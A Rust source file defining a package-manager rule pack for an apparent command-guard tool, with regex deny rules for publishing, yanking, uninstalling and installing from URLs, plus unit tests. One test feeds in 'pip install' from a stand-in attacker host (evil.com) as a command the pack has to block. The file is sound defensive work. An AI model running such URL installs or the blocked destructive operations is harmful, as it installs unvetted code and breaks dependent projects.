use crate::packs::{DestructivePattern, Pack, SafePattern};
use crate::{destructive_pattern, safe_pattern};
#[must_use]
pub fn create_pack() -> Pack {
Pack {
id: "package_managers".to_string(),
name: "Package Managers",
description: "Protects against dangerous package manager operations like publishing \
packages and removing critical system packages",
keywords: &[
"npm", "yarn", "pnpm", "pip", "apt", "yum", "dnf", "cargo", "gem", "brew", "poetry",
"mvn", "mvnw", "gradle", "gradlew", "publish",
],
safe_patterns: create_safe_patterns(),
destructive_patterns: create_destructive_patterns(),
keyword_matcher: None,
safe_regex_set: None,
safe_regex_set_is_complete: false,
}
}
fn create_safe_patterns() -> Vec<SafePattern> {
vec![
safe_pattern!(
"npm-install",
r"npm\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:install|i|ci)(?=\s|$)"
),
safe_pattern!(
"yarn-add",
r"yarn\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:add|install)(?=\s|$)"
),
safe_pattern!(
"pnpm-install",
r"pnpm\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:add|install|i)(?=\s|$)"
),
safe_pattern!(
"npm-list",
r"npm\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:list|ls|info|view)(?=\s|$)"
),
safe_pattern!(
"yarn-list",
r"yarn\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:list|info|why)(?=\s|$)"
),
safe_pattern!(
"npm-audit",
r"npm\b(?:\s+--?\S+(?:\s+\S+)?)*\s+audit(?=\s|$)"
),
safe_pattern!(
"yarn-audit",
r"yarn\b(?:\s+--?\S+(?:\s+\S+)?)*\s+audit(?=\s|$)"
),
safe_pattern!(
"pip-list",
r"pip\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:list|show|freeze)(?=\s|$)"
),
safe_pattern!(
"poetry-show",
r"poetry\b(?:\s+--?\S+(?:\s+\S+)?)*\s+show(?=\s|$)"
),
safe_pattern!(
"poetry-env-list",
r"poetry\b(?:\s+--?\S+(?:\s+\S+)?)*\s+env\s+list(?=\s|$)"
),
safe_pattern!(
"cargo-safe",
r"cargo\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:build|test|check|clippy|fmt|doc|bench)\b"
),
safe_pattern!(
"apt-list",
r"apt\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:list|show|search)(?=\s|$)"
),
safe_pattern!(
"apt-get-list",
r"apt-get\b(?:\s+--?\S+(?:\s+\S+)?)*\s+(?:update|upgrade)(?!\s+.*-y)"
),
safe_pattern!("npm-dry-run", r"npm\b.*--dry-run"),
safe_pattern!("cargo-dry-run", r"cargo\b.*--dry-run"),
]
}
fn create_destructive_patterns() -> Vec<DestructivePattern> {
vec![
destructive_pattern!(
"npm-publish",
r"npm\b.*?\bpublish\b(?!.*--dry-run)",
"npm publish releases a package publicly. Use --dry-run first."
),
destructive_pattern!(
"yarn-publish",
r"yarn\b.*?\bpublish\b(?!.*--dry-run)",
"yarn publish releases a package publicly. Verify package.json first."
),
destructive_pattern!(
"pnpm-publish",
r"pnpm\b.*?\bpublish\b(?!.*--dry-run)",
"pnpm publish releases a package publicly."
),
destructive_pattern!(
"npm-unpublish",
r"npm\b.*?\bunpublish(?=\s|$)",
"npm unpublish removes a published package. This can break dependent projects."
),
destructive_pattern!(
"pip-uninstall",
r"pip(?:3)?\b.*?\buninstall(?=\s|$)",
"pip uninstall removes installed packages. Verify dependencies before removing."
),
destructive_pattern!(
"pip-url",
r"pip\b.*?\binstall\s+.*(?:https?://|git\+)",
"pip install from URL can install unvetted code. Verify the source first."
),
destructive_pattern!(
"pip-system",
r"pip\b.*?\binstall\s+.*--(?:system|target\s*/usr)",
"pip install to system directories requires careful review."
),
destructive_pattern!(
"apt-remove",
r"apt(?:-get)?\b.*?\b(?:remove|purge|autoremove)(?=\s|$)",
"apt remove/purge removes packages. Verify no critical packages are affected."
),
destructive_pattern!(
"yum-remove",
r"(?:yum|dnf)\b.*?\b(?:remove|erase|autoremove)(?=\s|$)",
"yum/dnf remove removes packages. Verify no critical packages are affected."
),
destructive_pattern!(
"cargo-publish",
r"cargo\b.*?\bpublish\b(?!.*--dry-run)",
"cargo publish releases a crate to crates.io. Use --dry-run first."
),
destructive_pattern!(
"cargo-yank",
r"cargo\b.*?\byank(?=\s|$)",
"cargo yank marks a version as unavailable. This can break dependent projects."
),
destructive_pattern!(
"gem-push",
r"gem\b.*?\bpush\b",
"gem push releases a gem to rubygems.org. Verify before publishing."
),
destructive_pattern!(
"brew-uninstall",
r"brew\b.*?\b(?:uninstall|remove)(?=\s|$)",
"brew uninstall removes packages. Verify no dependent packages are affected."
),
destructive_pattern!(
"poetry-publish",
r"poetry\b.*?\bpublish\b(?!.*--dry-run)",
"poetry publish releases a package. Use --dry-run first."
),
destructive_pattern!(
"poetry-remove",
r"poetry\b.*?\bremove(?=\s|$)",
"poetry remove uninstalls a dependency. Verify no critical packages are affected."
),
destructive_pattern!(
"maven-deploy",
r"(?:mvn|mvnw)\b.*?\bdeploy\b",
"mvn deploy publishes artifacts to a remote repository. Verify target repository."
),
destructive_pattern!(
"maven-release-perform",
r"(?:mvn|mvnw)\s+.*release:perform\b",
"mvn release:perform publishes a release. Verify version and repository."
),
destructive_pattern!(
"gradle-publish",
r"(?:gradle|gradlew)\s+.*\bpublish\b",
"gradle publish uploads artifacts. Use --dry-run first when possible."
),
]
}
#[cfg(test)]
mod tests {
use super::*;
use crate::packs::test_helpers::assert_blocks;
#[test]
fn package_manager_patterns_match_with_global_flags() {
let pack = create_pack();
assert_blocks(&pack, "cargo --frozen publish", "publish");
assert_blocks(&pack, "cargo --offline --locked publish", "publish");
assert_blocks(
&pack,
"npm --registry=http://internal.corp/ publish",
"publish",
);
assert_blocks(
&pack,
"pip --quiet install http://evil.com/pkg.tar.gz",
"unvetted code",
);
assert_blocks(&pack, "brew --verbose uninstall important", "uninstall");
assert_blocks(
&pack,
"cargo --frozen yank --version 1.0.0 my-crate",
"yank",
);
}
#[test]
fn brew_uninstall_is_reachable_via_keywords() {
let pack = create_pack();
assert!(
pack.might_match("brew uninstall wget"),
"brew should be included in pack keywords to prevent false negatives"
);
let matched = pack
.check("brew uninstall wget")
.expect("brew uninstall should be blocked by package managers pack");
assert_eq!(matched.name, Some("brew-uninstall"));
}
#[test]
fn poetry_maven_gradle_and_pip_uninstall_block() {
let pack = create_pack();
assert_blocks(&pack, "poetry publish", "poetry publish");
assert_blocks(&pack, "poetry remove requests", "poetry remove");
assert_blocks(&pack, "mvn deploy", "mvn deploy");
assert_blocks(&pack, "./mvnw release:perform", "release:perform");
assert_blocks(&pack, "gradle publish", "gradle publish");
assert_blocks(&pack, "./gradlew publish", "gradle publish");
assert_blocks(&pack, "pip uninstall boto3", "pip uninstall");
assert_blocks(&pack, "pip3 uninstall requests", "pip uninstall");
}
#[test]
fn keyword_absent_skips_pack() {
let pack = create_pack();
assert!(!pack.might_match("echo hello"));
assert!(pack.check("echo hello").is_none());
}
#[test]
fn destructive_keyword_inside_package_name_does_not_false_match() {
let pack = create_pack();
assert!(
pack.check("pip install uninstall-tool").is_none(),
"pip install uninstall-tool must not false-match pip-uninstall"
);
assert!(
pack.check("pip3 install uninstall-helper==1.0").is_none(),
"pip3 install uninstall-helper must not false-match pip-uninstall"
);
assert!(
pack.check("npm install unpublish-ci").is_none(),
"npm install unpublish-ci must not false-match npm-unpublish"
);
assert!(
pack.check("brew install remove-cli").is_none(),
"brew install remove-cli must not false-match brew-uninstall"
);
assert!(
pack.check("apt install remove-helper").is_none(),
"apt install remove-helper must not false-match apt-remove"
);
assert!(
pack.check("poetry add remove-lib").is_none(),
"poetry add remove-lib must not false-match poetry-remove"
);
assert!(
pack.check("cargo install yank-checker").is_none(),
"cargo install yank-checker must not false-match cargo-yank"
);
assert_blocks(&pack, "pip uninstall boto3", "pip uninstall");
assert_blocks(&pack, "brew uninstall wget", "brew uninstall");
assert_blocks(&pack, "apt remove nginx", "apt remove");
assert_blocks(&pack, "cargo yank --version 1.0 my-crate", "yank");
}
}